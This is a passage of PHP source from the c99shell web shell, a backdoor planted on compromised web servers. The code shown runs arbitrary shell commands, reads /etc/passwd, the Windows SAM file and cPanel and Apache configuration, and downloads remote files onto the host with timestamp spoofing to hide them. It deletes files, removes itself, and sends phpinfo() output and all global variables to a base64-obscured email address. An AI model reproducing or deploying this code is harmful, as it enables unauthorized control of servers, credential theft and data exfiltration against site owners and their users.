  1515.      echo join(":",$uid)."<br>";
  1516.     }
  1517.     $i++;
  1518.    }
  1519.   }
  1520.   else {echo "<br><a href=\"".$surl."act=security&nixpasswd=1&d=".$ud."\"><b><u>Get /etc/passwd</u></b></a><br>";}
  1521.  }
  1522.  else
  1523.  {
  1524.   $v = $_SERVER["WINDIR"]."\repair\sam";
  1525.   if (file_get_contents($v)) {echo "<b><font color=red>You can't crack winnt passwords(".$v.") </font></b><br>";}
  1526.   else {echo "<b><font color=green>You can crack winnt passwords. <a href=\"".$surl."act=f&f=sam&d=".$_SERVER["WINDIR"]."\\repair&ft=download\"><u><b>Download</b></u></a>, and use lcp.crack+ ©.</font></b><br>";}
  1527.  }
  1528.  if (file_get_contents("/etc/userdomains")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=userdomains&d=".urlencode("/etc")."&ft=txt\"><u><b>View cpanel user-domains logs</b></u></a></font></b><br>";}
  1529.  if (file_get_contents("/var/cpanel/accounting.log")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=accounting.log&d=".urlencode("/var/cpanel/")."\"&ft=txt><u><b>View cpanel logs</b></u></a></font></b><br>";}
  1530.  if (file_get_contents("/usr/local/apache/conf/httpd.conf")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=httpd.conf&d=".urlencode("/usr/local/apache/conf")."&ft=txt\"><u><b>Apache configuration (httpd.conf)</b></u></a></font></b><br>";}
  1531.  if (file_get_contents("/etc/httpd.conf")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=httpd.conf&d=".urlencode("/etc")."&ft=txt\"><u><b>Apache configuration (httpd.conf)</b></u></a></font></b><br>";}
  1532.  if (file_get_contents("/etc/syslog.conf")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=syslog.conf&d=".urlencode("/etc")."&ft=txt\"><u><b>Syslog configuration (syslog.conf)</b></u></a></font></b><br>";}
  1533.  if (file_get_contents("/etc/motd")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=motd&d=".urlencode("/etc")."&ft=txt\"><u><b>Message Of The Day</b></u></a></font></b><br>";}
  1534.  if (file_get_contents("/etc/hosts")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=hosts&d=".urlencode("/etc")."&ft=txt\"><u><b>Hosts</b></u></a></font></b><br>";}
  1535.  function displaysecinfo($name,$value) {if (!empty($value)) {if (!empty($name)) {$name = "<b>".$name." - </b>";} echo $name.nl2br($value)."<br>";}}
  1536.  displaysecinfo("OS Version?",myshellexec("cat /proc/version"));
  1537.  displaysecinfo("Kernel version?",myshellexec("sysctl -a | grep version"));
  1538.  displaysecinfo("Distrib name",myshellexec("cat /etc/issue.net"));
  1539.  displaysecinfo("Distrib name (2)",myshellexec("cat /etc/*-realise"));
  1540.  displaysecinfo("CPU?",myshellexec("cat /proc/cpuinfo"));
  1541.  displaysecinfo("RAM",myshellexec("free -m"));
  1542.  displaysecinfo("HDD space",myshellexec("df -h"));
  1543.  displaysecinfo("List of Attributes",myshellexec("lsattr -a"));
  1544.  displaysecinfo("Mount options ",myshellexec("cat /etc/fstab"));
  1545.  displaysecinfo("Is cURL installed?",myshellexec("which curl"));
  1546.  displaysecinfo("Is lynx installed?",myshellexec("which lynx"));
  1547.  displaysecinfo("Is links installed?",myshellexec("which links"));
  1548.  displaysecinfo("Is fetch installed?",myshellexec("which fetch"));
  1549.  displaysecinfo("Is GET installed?",myshellexec("which GET"));
  1550.  displaysecinfo("Is perl installed?",myshellexec("which perl"));
  1551.  displaysecinfo("Where is apache",myshellexec("whereis apache"));
  1552.  displaysecinfo("Where is perl?",myshellexec("whereis perl"));
  1553.  displaysecinfo("locate proftpd.conf",myshellexec("locate proftpd.conf"));
  1554.  displaysecinfo("locate httpd.conf",myshellexec("locate httpd.conf"));
  1555.  displaysecinfo("locate my.conf",myshellexec("locate my.conf"));
  1556.  displaysecinfo("locate psybnc.conf",myshellexec("locate psybnc.conf"));
  1557. }
  1558. if ($act == "mkfile")
  1559. {
  1560.  if ($mkfile != $d)
  1561.  {
  1562.   if (file_exists($mkfile)) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: object alredy exists";}
  1563.   elseif (!fopen($mkfile,"w")) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: access denied";}
  1564.   else {$act = "f"; $d = dirname($mkfile); if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $f = basename($mkfile);}
  1565.  }
  1566.  else {$act = $dspact = "ls";}
  1567. }
  1568. if ($act == "encoder")
  1569. {
  1570.  echo "<script>function set_encoder_input(text) {document.forms.encoder.input.value = text;}</script><center><b>Encoder:</b></center><form name=\"encoder\" action=\"".$surl."\" method=POST><input type=hidden name=act value=encoder><b>Input:</b><center><textarea name=\"encoder_input\" id=\"input\" cols=50 rows=5>".@htmlspecialchars($encoder_input)."</textarea><br><br><input type=submit value=\"calculate\"><br><br></center><b>Hashes</b>:<br><center>";
  1571.  foreach(array("md5","crypt","sha1","crc32") as $v)
  1572.  {
  1573.   echo $v." - <input type=text size=50 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$v($encoder_input)."\" readonly><br>";
  1574.  }
  1575.  echo "</center><b>Url:</b><center><br>urlencode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".urlencode($encoder_input)."\" readonly>
  1576. <br>urldecode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".htmlspecialchars(urldecode($encoder_input))."\" readonly>
  1577. <br></center><b>Base64:</b><center>base64_encode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".base64_encode($encoder_input)."\" readonly></center>";
  1578.  echo "<center>base64_decode - ";
  1579.  if (base64_encode(base64_decode($encoder_input)) != $encoder_input) {echo "<input type=text size=35 value=\"failed\" disabled readonly>";}
  1580.  else
  1581.  {
  1582.   $debase64 = base64_decode($encoder_input);
  1583.   $debase64 = str_replace("\0","[0]",$debase64);
  1584.   $a = explode("\r\n",$debase64);
  1585.   $rows = count($a);
  1586.   $debase64 = htmlspecialchars($debase64);
  1587.   if ($rows == 1) {echo "<input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$debase64."\" id=\"debase64\" readonly>";}
  1588.   else {$rows++; echo "<textarea cols=\"40\" rows=\"".$rows."\" onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" id=\"debase64\" readonly>".$debase64."</textarea>";}
  1589.   echo "&nbsp;<a href=\"#\" onclick=\"set_encoder_input(document.forms.encoder.debase64.value)\"><b>^</b></a>";
  1590.  }
  1591.  echo "</center><br><b>Base convertations</b>:<center>dec2hex - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"";
  1592.  $c = strlen($encoder_input);
  1593.  for($i=0;$i<$c;$i++)
  1594.  {
  1595.   $hex = dechex(ord($encoder_input[$i]));
  1596.   if ($encoder_input[$i] == "&") {echo $encoder_input[$i];}
  1597.   elseif ($encoder_input[$i] != "\\") {echo "%".$hex;}
  1598.  }
  1599.  echo "\" readonly><br></center></form>";
  1600. }
  1601. if ($act == "fsbuff")
  1602. {
  1603.  $arr_copy = $sess_data["copy"];
  1604.  $arr_cut = $sess_data["cut"];
  1605.  $arr = array_merge($arr_copy,$arr_cut);
  1606.  if (count($arr) == 0) {echo "<center><b>Buffer is empty!</b></center>";}
  1607.  else {echo "<b>File-System buffer</b><br><br>"; $ls_arr = $arr; $disp_fullpath = TRUE; $act = "ls";}
  1608. }
  1609. if ($act == "selfremove")
  1610. {
  1611.  if (($submit == $rndcode) and ($submit != ""))
  1612.  {
  1613.   if (unlink(__FILE__)) {@ob_clean(); echo "Thanks for using c99shell v.".$shver."!"; c99shexit(); }
  1614.   else {echo "<center><b>Can't delete ".__FILE__."!</b></center>";}
  1615.  }
  1616.  else
  1617.  {
  1618.   if (!empty($rndcode)) {echo "<b>Error: incorrect confimation!</b>";}
  1619.   $rnd = rand(0,9).rand(0,9).rand(0,9);
  1620.   echo "<form action=\"".$surl."\"><input type=hidden name=act value=selfremove><b>Self-remove: ".__FILE__." <br><b>Are you sure?<br>For confirmation, enter \"".$rnd."\"</b>:&nbsp;<input type=hidden name=rndcode value=\"".$rnd."\"><input type=text name=submit>&nbsp;<input type=submit value=\"YES\"></form>";
  1621.  }
  1622. }
  1623. if ($act == "update") {$ret = c99sh_getupdate(!!$confirmupdate); echo "<b>".$ret."</b>"; if (stristr($ret,"new version")) {echo "<br><br><input type=button onclick=\"location.href='".$surl."act=update&confirmupdate=1';\" value=\"Update now\">";}}
  1624. if ($act == "feedback")
  1625. {
  1626.  $suppmail = base64_decode("Yzk5c2hlbGxAY2N0ZWFtLnJ1");
  1627.  if (!empty($submit))
  1628.  {
  1629.   $ticket = substr(md5(microtime()+rand(1,1000)),0,6);
  1630.   $body = "c99shell v.".$shver." feedback #".$ticket."\nName: ".htmlspecialchars($fdbk_name)."\nE-mail: ".htmlspecialchars($fdbk_email)."\nMessage:\n".htmlspecialchars($fdbk_body)."\n\nIP: ".$REMOTE_ADDR;
  1631.   if (!empty($fdbk_ref))
  1632.   {
  1633.    $tmp = @ob_get_contents();
  1634.    ob_clean();
  1635.    phpinfo();
  1636.    $phpinfo = base64_encode(ob_get_contents());
  1637.    ob_clean();
  1638.    echo $tmp;
  1639.    $body .= "\n"."phpinfo(): ".$phpinfo."\n"."\$GLOBALS=".base64_encode(serialize($GLOBALS))."\n";
  1640.   }
  1641.   mail($suppmail,"c99shell v.".$shver." feedback #".$ticket,$body,"FROM: ".$suppmail);
  1642.   echo "<center><b>Thanks for your feedback! Your ticket ID: ".$ticket.".</b></center>";
  1643.  }
  1644.  else {echo "<form action=\"".$surl."\" method=POST><input type=hidden name=act value=feedback><b>Feedback or report bug (".str_replace(array("@","."),array("[at]","[dot]"),$suppmail)."):<br><br>Your name: <input type=\"text\" name=\"fdbk_name\" value=\"".htmlspecialchars($fdbk_name)."\"><br><br>Your e-mail: <input type=\"text\" name=\"fdbk_email\" value=\"".htmlspecialchars($fdbk_email)."\"><br><br>Message:<br><textarea name=\"fdbk_body\" cols=80 rows=10>".htmlspecialchars($fdbk_body)."</textarea><input type=\"hidden\" name=\"fdbk_ref\" value=\"".urlencode($HTTP_REFERER)."\"><br><br>Attach server-info * <input type=\"checkbox\" name=\"fdbk_servinf\" value=\"1\" checked><br><br>There are no checking in the form.<br><br>* - strongly recommended, if you report bug, because we need it for bug-fix.<br><br>We understand languages: English, Russian.<br><br><input type=\"submit\" name=\"submit\" value=\"Send\"></form>";}
  1645. }
  1646. if ($act == "search")
  1647. {
  1648.  echo "<b>Search in file-system:</b><br>";
  1649.  if (empty($search_in)) {$search_in = $d;}
  1650.  if (empty($search_name)) {$search_name = "(.*)"; $search_name_regexp = 1;}
  1651.  if (empty($search_text_wwo)) {$search_text_regexp = 0;}
  1652.  if (!empty($submit))
  1653.  {
  1654.   $found = array();
  1655.   $found_d = 0;
  1656.   $found_f = 0;
  1657.   $search_i_f = 0;
  1658.   $search_i_d = 0;
  1659.   $a = array
  1660.   (
  1661.    "name"=>$search_name, "name_regexp"=>$search_name_regexp,
  1662.    "text"=>$search_text, "text_regexp"=>$search_text_regxp,
  1663.    "text_wwo"=>$search_text_wwo,
  1664.    "text_cs"=>$search_text_cs,
  1665.    "text_not"=>$search_text_not
  1666.   );
  1667.   $searchtime = getmicrotime();
  1668.   $in = array_unique(explode(";",$search_in));
  1669.   foreach($in as $v) {c99fsearch($v);}
  1670.   $searchtime = round(getmicrotime()-$searchtime,4);
  1671.   if (count($found) == 0) {echo "<b>No files found!</b>";}
  1672.   else
  1673.   {
  1674.    $ls_arr = $found;
  1675.    $disp_fullpath = TRUE;
  1676.    $act = "ls";
  1677.   }
  1678.  }
  1679.  echo "<form method=POST>
  1680. <input type=hidden name=\"d\" value=\"".$dispd."\"><input type=hidden name=act value=\"".$dspact."\">
  1681. <b>Search for (file/folder name): </b><input type=\"text\" name=\"search_name\" size=\"".round(strlen($search_name)+25)."\" value=\"".htmlspecialchars($search_name)."\">&nbsp;<input type=\"checkbox\" name=\"search_name_regexp\" value=\"1\" ".($search_name_regexp == 1?" checked":"")."> - regexp
  1682. <br><b>Search in (explode \";\"): </b><input type=\"text\" name=\"search_in\" size=\"".round(strlen($search_in)+25)."\" value=\"".htmlspecialchars($search_in)."\">
  1683. <br><br><b>Text:</b><br><textarea name=\"search_text\" cols=\"122\" rows=\"10\">".htmlspecialchars($search_text)."</textarea>
  1684. <br><br><input type=\"checkbox\" name=\"search_text_regexp\" value=\"1\" ".($search_text_regexp == 1?" checked":"")."> - regexp
  1685. &nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_wwo\" value=\"1\" ".($search_text_wwo == 1?" checked":"")."> - <u>w</u>hole words only
  1686. &nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_cs\" value=\"1\" ".($search_text_cs == 1?" checked":"")."> - cas<u>e</u> sensitive
  1687. &nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_not\" value=\"1\" ".($search_text_not == 1?" checked":"")."> - find files <u>NOT</u> containing the text
  1688. <br><br><input type=submit name=submit value=\"Search\"></form>";
  1689.  if ($act == "ls") {$dspact = $act; echo "<hr size=\"1\" noshade><b>Search took ".$searchtime." secs (".$search_i_f." files and ".$search_i_d." folders, ".round(($search_i_f+$search_i_d)/$searchtime,4)." objects per second).</b><br><br>";}
  1690. }
  1691. if ($act == "chmod")
  1692. {
  1693.  $mode = fileperms($d.$f);
  1694.  if (!$mode) {echo "<b>Change file-mode with error:</b> can't get current value.";}
  1695.  else
  1696.  {
  1697.   $form = TRUE;
  1698.   if ($chmod_submit)
  1699.   {
  1700.    $octet = "0".base_convert(($chmod_o["r"]?1:0).($chmod_o["w"]?1:0).($chmod_o["x"]?1:0).($chmod_g["r"]?1:0).($chmod_g["w"]?1:0).($chmod_g["x"]?1:0).($chmod_w["r"]?1:0).($chmod_w["w"]?1:0).($chmod_w["x"]?1:0),2,8);
  1701.    if (chmod($d.$f,$octet)) {$act = "ls"; $form = FALSE; $err = "";}
  1702.    else {$err = "Can't chmod to ".$octet.".";}
  1703.   }
  1704.   if ($form)
  1705.   {
  1706.    $perms = parse_perms($mode);
  1707.    echo "<b>Changing file-mode (".$d.$f."), ".view_perms_color($d.$f)." (".substr(decoct(fileperms($d.$f)),-4,4).")</b><br>".($err?"<b>Error:</b> ".$err:"")."<form action=\"".$surl."\" method=POST><input type=hidden name=d value=\"".htmlspecialchars($d)."\"><input type=hidden name=f value=\"".htmlspecialchars($f)."\"><input type=hidden name=act value=chmod><table align=left width=300 border=0 cellspacing=0 cellpadding=5><tr><td><b>Owner</b><br><br><input type=checkbox NAME=chmod_o[r] value=1".($perms["o"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox name=chmod_o[w] value=1".($perms["o"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_o[x] value=1".($perms["o"]["x"]?" checked":"").">eXecute</td><td><b>Group</b><br><br><input type=checkbox NAME=chmod_g[r] value=1".($perms["g"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox NAME=chmod_g[w] value=1".($perms["g"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_g[x] value=1".($perms["g"]["x"]?" checked":"").">eXecute</font></td><td><b>World</b><br><br><input type=checkbox NAME=chmod_w[r] value=1".($perms["w"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox NAME=chmod_w[w] value=1".($perms["w"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_w[x] value=1".($perms["w"]["x"]?" checked":"").">eXecute</font></td></tr><tr><td><input type=submit name=chmod_submit value=\"Save\"></td></tr></table></form>";
  1708.   }
  1709.  }
  1710. }
  1711. if ($act == "upload")
  1712. {
  1713.  $uploadmess = "";
  1714.  $uploadpath = str_replace("\\",DIRECTORY_SEPARATOR,$uploadpath);
  1715.  if (empty($uploadpath)) {$uploadpath = $d;}
  1716.  elseif (substr($uploadpath,-1) != "/") {$uploadpath .= "/";}
  1717.  if (!empty($submit))
  1718.  {
  1719.   global $HTTP_POST_FILES;
  1720.   $uploadfile = $HTTP_POST_FILES["uploadfile"];
  1721.   if (!empty($uploadfile["tmp_name"]))
  1722.   {
  1723.    if (empty($uploadfilename)) {$destin = $uploadfile["name"];}
  1724.    else {$destin = $userfilename;}
  1725.    if (!move_uploaded_file($uploadfile["tmp_name"],$uploadpath.$destin)) {$uploadmess .= "Error uploading file ".$uploadfile["name"]." (can't copy \"".$uploadfile["tmp_name"]."\" to \"".$uploadpath.$destin."\"!<br>";}
  1726.   }
  1727.   elseif (!empty($uploadurl))
  1728.   {
  1729.    if (!empty($uploadfilename)) {$destin = $uploadfilename;}
  1730.    else
  1731.    {
  1732.     $destin = explode("/",$destin);
  1733.     $destin = $destin[count($destin)-1];
  1734.     if (empty($destin))
  1735.     {
  1736.      $i = 0;
  1737.      $b = "";
  1738.      while(file_exists($uploadpath.$destin)) {if ($i > 0) {$b = "_".$i;} $destin = "index".$b.".html"; $i++;}}
  1739.    }
  1740.    if ((!eregi("http://",$uploadurl)) and (!eregi("https://",$uploadurl)) and (!eregi("ftp://",$uploadurl))) {echo "<b>Incorect url!</b><br>";}
  1741.    else
  1742.    {
  1743.     $st = getmicrotime();
  1744.     $content = @file_get_contents($uploadurl);
  1745.     $dt = round(getmicrotime()-$st,4);
  1746.     if (!$content) {$uploadmess .=  "Can't download file!<br>";}
  1747.     else
  1748.     {
  1749.      if ($filestealth) {$stat = stat($uploadpath.$destin);}
  1750.      $fp = fopen($uploadpath.$destin,"w");
  1751.      if (!$fp) {$uploadmess .= "Error writing to file ".htmlspecialchars($destin)."!<br>";}
  1752.      else
  1753.      {
  1754.       fwrite($fp,$content,strlen($content));
  1755.       fclose($fp);
  1756.       if ($filestealth) {touch($uploadpath.$destin,$stat[9],$stat[8]);}
  1757.      }
  1758.     }
  1759.    }
  1760.   }
  1761.  }
  1762.  if ($miniform)
  1763.  {
  1764.   echo "<b>".$uploadmess."</b>";
  1765.   $act = "ls";
  1766.  }
  1767.  else
  1768.  {
  1769.   echo "<b>File upload:</b><br><b>".$uploadmess."</b><form enctype=\"multipart/form-data\" action=\"".$surl."act=upload&d=".urlencode($d)."\" method=POST>
  1770. Select file on your local computer: <input name=\"uploadfile\" type=\"file\"><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;or<br>
  1771. Input URL: <input name=\"uploadurl\" type=\"text\" value=\"".htmlspecialchars($uploadurl)."\" size=\"70\"><br><br>
  1772. Save this file dir: <input name=\"uploadpath\" size=\"70\" value=\"".$dispd."\"><br><br>
  1773. File-name (auto-fill): <input name=uploadfilename size=25><br><br>
  1774. <input type=checkbox name=uploadautoname value=1 id=df4>&nbsp;convert file name to lovercase<br><br>
  1775. <input type=submit name=submit value=\"Upload\">
  1776. </form>";
  1777.  }
  1778. }
  1779. if ($act == "delete")
  1780. {
  1781.  $delerr = "";
  1782.  foreach ($actbox as $v)
  1783.  {
  1784.   $result = FALSE;
  1785.   $result = fs_rmobj($v);
  1786.   if (!$result) {$delerr .= "Can't delete ".htmlspecialchars($v)."<br>";}
  1787.  }
  1788.  if (!empty($delerr)) {echo "<b>Deleting with errors:</b><br>".$delerr;}
  1789.  $act = "ls";
  1790. }
  1791. if (!$usefsbuff)
  1792. {
  1793.  if (($act == "paste") or ($act == "copy") or ($act == "cut") or ($act == "unselect")) {echo "<center><b>Sorry, buffer is disabled. For enable, set directive \"\$useFSbuff\" as TRUE.</center>";}
  1794. }
  1795. else
  1796. {
  1797.  if ($act == "copy") {$err = ""; $sess_data["copy"] = array_merge($sess_data["copy"],$actbox); c99_sess_put($sess_data); $act = "ls"; }
  1798.  elseif ($act == "cut") {$sess_data["cut"] = array_merge($sess_data["cut"],$actbox); c99_sess_put($sess_data); $act = "ls";}
  1799.  elseif ($act == "unselect") {foreach ($sess_data["copy"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["copy"][$k]);}} foreach ($sess_data["cut"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["cut"][$k]);}} c99_sess_put($sess_data); $act = "ls";}
  1800.  if ($actemptybuff) {$sess_data["copy"] = $sess_data["cut"] = array(); c99_sess_put($sess_data);}
  1801.  elseif ($actpastebuff)
  1802.  {
  1803.   $psterr = "";
  1804.   foreach($sess_data["copy"] as $k=>$v)
  1805.   {
  1806.    $to = $d.basename($v);
  1807.    if (!fs_copy_obj($v,$to)) {$psterr .= "Can't copy ".$v." to ".$to."!<br>";}
  1808.    if ($copy_unset) {unset($sess_data["copy"][$k]);}
  1809.   }
  1810.   foreach($sess_data["cut"] as $k=>$v)
  1811.   {
  1812.    $to = $d.basename($v);
  1813.    if (!fs_move_obj($v,$to)) {$psterr .= "Can't move ".$v." to ".$to."!<br>";}
  1814.    unset($sess_data["cut"][$k]);
  1815.   }
  1816.   c99_sess_put($sess_data);
  1817.   if (!empty($psterr)) {echo "<b>Pasting with errors:</b><br>".$psterr;}
  1818.   $act = "ls";
  1819.  }
  1820.  elseif ($actarcbuff)
  1821.  {
  1822.   $arcerr = "";
  1823.   if (substr($actarcbuff_path,-7,7) == ".tar.gz") {$ext = ".tar.gz";}
  1824.   else {$ext = ".tar.gz";}
  1825.   if ($ext == ".tar.gz") {$cmdline = "tar cfzv";}
  1826.   $cmdline .= " ".$actarcbuff_path;
  1827.   $objects = array_merge($sess_data["copy"],$sess_data["cut"]);
  1828.   foreach($objects as $v)
  1829.   {
  1830.    $v = str_replace("\\",DIRECTORY_SEPARATOR,$v);
  1831.    if (substr($v,0,strlen($d)) == $d) {$v = basename($v);}
  1832.    if (is_dir($v))
  1833.    {
  1834.     if (substr($v,-1) != DIRECTORY_SEPARATOR) {$v .= DIRECTORY_SEPARATOR;}
  1835.     $v .= "*";
  1836.    }
  1837.    $cmdline .= " ".$v;
  1838.   }
  1839.   $tmp = realpath(".");
  1840.   chdir($d);
  1841.   $ret = myshellexec($cmdline);
  1842.   chdir($tmp);
  1843.   if (empty($ret)) {$arcerr .= "Can't call archivator (".htmlspecialchars(str2mini($cmdline,60)).")!<br>";}
  1844.   $ret = str_replace("\r\n","\n",$ret);
  1845.   $ret = explode("\n",$ret);
  1846.   if ($copy_unset) {foreach($sess_data["copy"] as $k=>$v) {unset($sess_data["copy"][$k]);}}
  1847.   foreach($sess_data["cut"] as $k=>$v)
  1848.   {
  1849.    if (in_array($v,$ret)) {fs_rmobj($v);}
  1850.    unset($sess_data["cut"][$k]);
  1851.   }
  1852.   c99_sess_put($sess_data);
  1853.   if (!empty($arcerr)) {echo "<b>Archivation errors:</b><br>".$arcerr;}
  1854.   $act = "ls";
  1855.  }
  1856.  elseif ($actpastebuff)
  1857.  {
  1858.   $psterr = "";
  1859.   foreach($sess_data["copy"] as $k=>$v)
  1860.   {
  1861.    $to = $d.basename($v);
  1862.    if (!fs_copy_obj($v,$d)) {$psterr .= "Can't copy ".$v." to ".$to."!<br>";}
  1863.    if ($copy_unset) {unset($sess_data["copy"][$k]);}
  1864.   }
  1865.   foreach($sess_data["cut"] as $k=>$v)
  1866.   {
  1867.    $to = $d.basename($v);
  1868.    if (!fs_move_obj($v,$d)) {$psterr .= "Can't move ".$v." to ".$to."!<br>";}
  1869.    unset($sess_data["cut"][$k]);
  1870.   }
  1871.   c99_sess_put($sess_data);
  1872.   if (!empty($psterr)) {echo "<b>Pasting with errors:</b><br>".$psterr;}
  1873.   $act = "ls";
  1874.  }
  1875. }
  1876. if ($act == "cmd")
  1877. {
  1878. if (trim($cmd) == "ps -aux") {$act = "processes";}
  1879. elseif (trim($cmd) == "tasklist") {$act = "processes";}
  1880. else
  1881. {
  1882.  @chdir($chdir);
  1883.  if (!empty($submit))
  1884.  {
  1885.   echo "<b>Result of execution this command</b>:<br>";
  1886.   $olddir = realpath(".");
  1887.   @chdir($d);
  1888.   $ret = myshellexec($cmd);
  1889.   $ret = convert_cyr_string($ret,"d","w");
  1890.   if ($cmd_txt)
  1891.   {
  1892.    $rows = count(explode("\r\n",$ret))+1;
  1893.    if ($rows < 10) {$rows = 10;}
  1894.    echo "<br><textarea cols=\"122\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>";
  1895.   }
  1896.   else {echo $ret."<br>";}
  1897.   @chdir($olddir);
  1898.  }
  1899.  else {echo "<b>Execution command</b>"; if (empty($cmd_txt)) {$cmd_txt = TRUE;}}
  1900.  echo "<form action=\"".$surl."\" method=POST><input type=hidden name=act value=cmd><textarea name=cmd cols=122 rows=10>".htmlspecialchars($cmd)."</textarea><input type=hidden name=\"d\" value=\"".$dispd."\"><br><br><input type=submit name=submit value=\"Execute\">&nbsp;Display in text-area&nbsp;<input type=\"checkbox\" name=\"cmd_txt\" value=\"1\""; if ($cmd_txt) {echo " checked";} echo "></form>";
  1901. }
  1902. }
  1903. if ($act == "ls")
  1904. {
  1905.  if (count($ls_arr) > 0) {$list = $ls_arr;}
  1906.  else
  1907.  {
  1908.   $list = array();
  1909.   if ($h = @opendir($d))
  1910.   {
  1911.    while (($o = readdir($h)) !== FALSE) {$list[] = $d.$o;}
  1912.    closedir($h);
  1913.   }
  1914.   else {}
  1915.  }
  1916.  if (count($list) == 0) {echo "<center><b>Can't open folder (".htmlspecialchars($d).")!</b></center>";}
  1917.  else
  1918.  {
  1919.   //Building array
  1920.   $objects = array();
  1921.   $vd = "f"; //Viewing mode
  1922.   if ($vd == "f")
  1923.   {
  1924.    $objects["head"] = array();
  1925.    $objects["folders"] = array();
  1926.    $objects["links"] = array();
  1927.    $objects["files"] = array();
  1928.    foreach ($list as $v)
  1929.    {
  1930.     $o = basename($v);
  1931.     $row = array();
  1932.     if ($o == ".") {$row[] = $d.$o; $row[] = "LINK";}
  1933.     elseif ($o == "..") {$row[] = $d.$o; $row[] = "LINK";}
  1934.     elseif (is_dir($v))
  1935.     {
  1936.      if (is_link($v)) {$type = "LINK";}
  1937.      else {$type = "DIR";}
  1938.      $row[] = $v;
  1939.      $row[] = $type;
  1940.     }
  1941.     elseif(is_file($v)) {$row[] = $v; $row[] = filesize($v);}
  1942.     $row[] = filemtime($v);
  1943.     if (!$win)
  1944.     {
  1945.      $ow = posix_getpwuid(fileowner($v));
  1946.      $gr = posix_getgrgid(filegroup($v));
  1947.      $row[] = ($ow["name"]?$ow["name"]:fileowner($v))."/".($gr["name"]?$gr["name"]:filegroup($v));
  1948.     }
  1949.     $row[] = fileperms($v);
  1950.     if (($o == ".") or ($o == "..")) {$objects["head"][] = $row;}
  1951.     elseif (is_link($v)) {$objects["links"][] = $row;}
  1952.     elseif (is_dir($v)) {$objects["folders"][] = $row;}
  1953.     elseif (is_file($v)) {$objects["files"][] = $row;}
  1954.     $i++;
  1955.    }
  1956.    $row = array();
  1957.    $row[] = "<b>Name</b>";
  1958.    $row[] = "<b>Size</b>";
  1959.    $row[] = "<b>Modify</b>";
  1960.    if (!$win)
  1961.   {$row[] = "<b>Owner/Group</b>";}
  1962.    $row[] = "<b>Perms</b>";
  1963.    $row[] = "<b>Action</b>";
  1964.    $parsesort = parsesort($sort);
  1965.    $sort = $parsesort[0].$parsesort[1];
  1966.    $k = $parsesort[0];
  1967.    if ($parsesort[1] != "a") {$parsesort[1] = "d";}
  1968.    $y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$k.($parsesort[1] == "a"?"d":"a")."\">";
  1969.    $y .= "<img src=\"".$surl."act=img&img=sort_".($sort[1] == "a"?"asc":"desc")."\" height=\"9\" width=\"14\" alt=\"".($parsesort[1] == "a"?"Asc.":"Desc")."\" border=\"0\"></a>";
  1970.    $row[$k] .= $y;
  1971.    for($i=0;$i<count($row)-1;$i++)
  1972.    {
  1973.     if ($i != $k) {$row[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$i.$parsesort[1]."\">".$row[$i]."</a>";}
  1974.    }
  1975.    $v = $parsesort[0];
  1976.    usort($objects["folders"], "tabsort");
  1977.    usort($objects["links"], "tabsort");
  1978.    usort($objects["files"], "tabsort");
  1979.    if ($parsesort[1] == "d")
  1980.    {
  1981.     $objects["folders"] = array_reverse($objects["folders"]);
  1982.     $objects["files"] = array_reverse($objects["files"]);
  1983.    }
  1984.    $objects = array_merge($objects["head"],$objects["folders"],$objects["links"],$objects["files"]);
  1985.    $tab = array();
  1986.    $tab["cols"] = array($row);
  1987.    $tab["head"] = array();
  1988.    $tab["folders"] = array();
  1989.    $tab["links"] = array();
  1990.    $tab["files"] = array();
  1991.    $i = 0;
  1992.    foreach ($objects as $a)
  1993.    {
  1994.     $v = $a[0];
  1995.     $o = basename($v);
  1996.     $dir = dirname($v);
  1997.     if ($disp_fullpath) {$disppath = $v;}
  1998.     else {$disppath = $o;}
  1999.     $disppath = str2mini($disppath,60);
  2000.     if (in_array($v,$sess_data["cut"])) {$disppath = "<strike>".$disppath."</strike>";}
  2001.     elseif (in_array($v,$sess_data["copy"])) {$disppath = "<u>".$disppath."</u>";}
  2002.     foreach ($regxp_highlight as $r)
  2003.     {
  2004.      if (ereg($r[0],$o))
  2005.      {
  2006.       if ((!is_numeric($r[1])) or ($r[1] > 3)) {$r[1] = 0; ob_clean(); echo "Warning! Configuration error in \$regxp_highlight[".$k."][0] - unknown command."; c99shexit();}
  2007.       else
  2008.       {
